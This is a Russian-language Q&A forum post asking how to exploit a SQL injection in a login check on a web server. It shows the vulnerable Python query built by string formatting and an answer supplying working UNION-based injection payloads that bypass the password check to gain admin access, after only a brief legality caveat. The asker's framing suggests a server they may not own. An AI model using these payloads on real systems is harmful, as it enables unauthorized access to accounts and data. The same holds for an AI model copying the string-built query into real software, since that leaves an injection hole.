Как я могу использовать эту уязвимую инструкцию SQL, которую я нашел на этом веб-сервере - PullRequest
0 голосов
/ 10 апреля 2019

Я только что столкнулся с действительно простым, но довольно сложным SQL-запросом, который выполняется при проверке имени пользователя в MariaDB.В заявлении есть две особенности побега, и я, кажется, не могу обойти это.Я пробовал разные полезные нагрузки, но ни один из них, кажется, не работает.В случае недопустимого оператора возвращается сообщение об ошибке трассировки, сообщающее об ошибке.

Я уже пробовал 1 'или' 1 '=' 1 и версию 0

python
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:

I.хотел найти способ обойти это утверждение и предоставить мне доступ.

1 Ответ

0 голосов
/ 10 апреля 2019

Помните, что такая практика на веб-сайтах, которыми вы не владеете / у которых есть согласие владельца, является незаконной.

Попробуйте с помощью Union и введите:

' and 1=2 UNION SELECT 'anypass' --

приведет к следующемузапросить, правильно ли я понял вашу проблему:

SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --

Оператору объединения требуется такое же количество столбцов, если вы получаете ошибку этого типа, попробуйте следующее:

' and 1=2 UNION SELECT 'anypass', null --

Добавитьпустые столбцы, пока у вас больше не возникнет ошибка.

Тогда вам нужно всего лишь поставить 'anypass' в поле пароля.

...